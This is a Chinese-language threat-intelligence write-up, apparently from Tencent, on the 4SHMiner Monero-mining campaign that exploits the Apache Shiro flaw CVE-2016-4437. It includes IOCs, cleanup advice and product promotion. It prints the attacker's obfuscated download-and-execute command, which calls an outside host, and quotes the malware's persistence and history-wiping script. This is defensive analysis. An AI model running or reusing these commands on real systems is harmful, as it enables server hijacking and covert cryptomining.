威胁研究正文

腾讯主机安全(云镜)捕获挖矿木马4SHMiner,已有上万服务器受害

2020-11-19 01:01:48

腾讯主机安全(云镜)捕获到挖矿木马4SHMiner利Apache Shiro反序列化漏洞CVE-2016-4437针对云服务器的攻击行动。4SHMiner挖矿团伙入侵成功后会执行命令下载4.sh,然后下载XMRig挖矿木马并通过Linux service、systemctl服务,系统配置文件$HOME/.profile,crontab定时任务进行持久化。

一、概述

腾讯主机安全(云镜)捕获到挖矿木马4SHMinerApache Shiro反序列化漏洞CVE-2016-4437针对云服务器的攻击行动。4SHMiner挖矿团伙入侵成功后会执行命令下载4.sh,然后下载XMRig挖矿木马并通过Linux servicesystemctl服务,系统配置文件$HOME/.profilecrontab定时任务进行持久化。

通过其使用的门罗币钱包算力(333KH/s)进行推算,4SHMiner团伙已控制约1.5万台服务器进行挖矿,并且根据算力突变数据可知其在2020.11.1617日一天之内新增感染近1万台机器。腾讯安全建议企业及时检查服务器是否部署了低于1.2.5版本的Apache Shiro,并将其升级到1.2.5及以上版本。同时对以下位置进行检查并删除相关文件和启动项:

/tmp/4.sh

/tmp/xmrig.tar.gz

$HOME/moneroocean/xmrig

/etc/init.d/c3pool_miner

/etc/systemd/system/moneroocean_miner.service

$HOME/.profile

crontab

腾讯安全系列产品应对4SHMiner挖矿木马的响应清单如下:

应用

场景

安全产品

解决方案

腾讯T-Sec

威胁情报云查服务

SaaS

14SHMiner挖矿木马相关IOCs已入库。

各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics

腾讯T-Sec

高级威胁追溯系统

14SHMiner挖矿木马相关信息和情报已支持检索。

网管可通过威胁追溯系统,分析日志,进行线索研判、追溯网络入侵源头。T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts

云原生安全

防护

云防火墙

Cloud FirewallCFW

基于网络流量进行威胁检测与主动拦截,已支持:

14SHMiner挖矿木马关联的IOCs已支持识别检测;

2)检测Apache Shiro反序列化漏洞CVE-2016-4437利用;

有关云防火墙的更多信息,可参考:
https://cloud.tencent.com/product/cfw

腾讯T-Sec  主机安全

Cloud Workload ProtectionCWP

1)已支持查杀4SHMiner挖矿木马程序;

2)支持检测Apache Shiro反序列化漏洞CVE-2016-4437利用;

腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp

腾讯T-Sec 安全运营中心

基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。

关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html

非云企业安全防护

腾讯T-Sec

高级威胁检测系统

(腾讯御界)

1)已支持通过协议检测4SHMiner挖矿木马与服务器的网络通信

2)支持检测Apache Shiro反序列化漏洞CVE-2016-4437利用;

关于T-Sec高级威胁检测系统的更多信息,可参考:

https://cloud.tencent.com/product/nta

更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/

二、详细分析

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。在Apache Shiro <=1.2.4版本中,加密的用户信息序列化后存储在名为remember-meCookie中。

攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞CVE-2016-4437,进而在目标机器上执行任意命令。该漏洞利用POC已被公开:

https://github.com/lightless233/Java-Unserialization-Study/tree/master/src/main/java/me/lightless/shiro

攻击者批量扫描网站,并将精心构造的包含漏洞利用的数据包发送至服务器。


漏洞攻击成功执行恶意命令:

bash -c {echo,d2dldCBodHRwOi8vd3d3LnNoaXp1MzcuY29tL3N0YXRpYy80LnNoIC1PIC90bXAvNC5zaCAmJiBiYXNoIC90bXAvNC5zaCAxMjM=}|{base64,-d}|{bash,-i}


base64解码命令:

wget http[:]//www.shizu37.com/static/4.sh -O /tmp/4.sh && bash /tmp/4.sh 123

恶意命令从www[.]shizu37.com下载shell脚本4.sh,保存到tmp目录并执行。我们发现www[.]shizu37.com是厦门某服装企业的网站,有可能是被黑客利用漏洞入侵之后,控制服务器将其作为木马下载地址。



4.sh主要功能为下载安装挖矿木马及持久化。首先检测进程xmrig是否存在,不存在则启动挖矿进程$HOME/moneroocean/xmrig


设置参数,其中WALLET为门罗币钱包,EMAIL通过4.sh启动时的第二个参数传入。

WALLET='48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF'

EMAIL=$2

检测运行环境,设置当前目录为home,安装脚本执行所需的curllscpu程序。


通过lscpu命令获取CPU频率、核心数、缓存大小等信息,并通过公式计算的到EXP_MONERO_HASHRATE(每秒可执行哈希量)。


利用EXP_MONERO_HASHRATE进一步计算得到PORTPORT将会作为后续挖矿时的端口号。

PORT=$(( $EXP_MONERO_HASHRATE * 12 / 1000 ))

PORT=$(( $PORT == 0 ? 1 : $PORT ))

PORT=`power2 $PORT`

PORT=$(( 10000 + $PORT ))

if [ -z $PORT ]; then

  echo "ERROR: Can't compute port"

  exit 1

fi

if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then

  echo "ERROR: Wrong computed port value: $PORT"

  exit 1

fi

接着下载XMRig挖矿木马到/tmp/xmrig.tar.gz,并将其解压到$HOME/moneroocean/xmrig,同时下载配置文件到$HOME/moneroocean/config.json

挖矿木马下载地址:

http[:]//download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz

https[:]//raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz

https[:]//github.com/xmrig/xmrig/releases/latest

配置文件下载地址:

http[:]//www.shizu37.com/static/config.json


从启动命令第一个参数$1中获得挖矿登陆密码$PASS,以及利用CPU信息计算得到的$PORT、内置钱包地址$WALLET写入$HOME/moneroocean/config.json,并将配置文件拷贝到

$HOME/moneroocean/config_background.json


创建挖矿木马启动脚本$HOME/moneroocean/miner.sh并拷贝到/etc/init.d/c3pool_miner,通过服务启动挖矿service c3pool_miner start


将挖矿启动命令写入配置文件$HOME/.profile以便在用户登陆时自动运行。


修改最大内存页hugepages以提高性能。

  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then

    echo "[*] Enabling huge pages"

    echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf

    sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))

  fi

通过安装systemctl服务/etc/systemd/system/moneroocean_miner.service启动挖矿脚本:

cat >/tmp/moneroocean_miner.service <<EOL

[Unit]

Description=Monero miner service

[Service]

ExecStart=$HOME/moneroocean/xmrig --config=$HOME/moneroocean/config.json

Restart=always

Nice=10

CPUWeight=1

[Install]

WantedBy=multi-user.target

EOL

sudo mv /tmp/moneroocean_miner.service

/etc/systemd/system/moneroocean_miner.service

    echo "[*] Starting moneroocean_miner systemd service"

    sudo killall xmrig 2>/dev/null

    sudo systemctl daemon-reload

    sudo systemctl enable moneroocean_miner.service

sudo systemctl start moneroocean_miner.service


通过安装crontab定时任务在每天21:30分执行一次挖矿启动脚本:

cat >/tmp/cron << EOL

30 21 * * * bash $HOME/moneroocean/miner.sh

EOL

echo ""

echo "Persistent process by crontab service"

yum -y install vixie-cron

yum -y install crontabs

sudo apt-get install cron

systemctl start crond.service

systemctl enable crond.service

service crond start

chkconfig --level 35 crond on

crontab /tmp/cron

echo "[*] Setup complete"


最后删除临时文件、删除命令执行记录:

rm -f /tmp/*.sh

rm -f /tmp/cron

history -c

echo ''>/$HOME/.bash_history


从脚本中获得挖矿使用的两个矿池和钱包:

矿池:mine.c3pool.com:13333

钱包:

4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68

矿池:gulf.moneroocean.stream

钱包:

48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF

按照钱包平均算力121 KH/s+212 KH/s=333 KH/s,推算其控制约一万五千台服务器进行挖矿。其中第二个钱包在2020.11.16日晚至17日凌晨算力突增约180KH/s,意味着该挖矿木马在一天之内新增感染近1万台服务器。



IOCs

MD5

4.sh

431f20dff2233f7a4a286105958d28be

xmrig.tar.gz

4c010f248891a65e91600b613a654f5f

IP:

118.254.9.180 

URL:

http[:]//www.shizu37.com/static/4.sh

http[:]//www.shizu37.com/static/config.json

钱包:

4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68

48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF

参考链接:

https://www.cvedetails.com/cve/CVE-2016-4437/

https://www.anquanke.com/vul/id/1148122

https://github.com/lightless233/Java-Unserialization-Study/tree/master/src/main/java/me/lightless/shiro

在线咨询

方案定制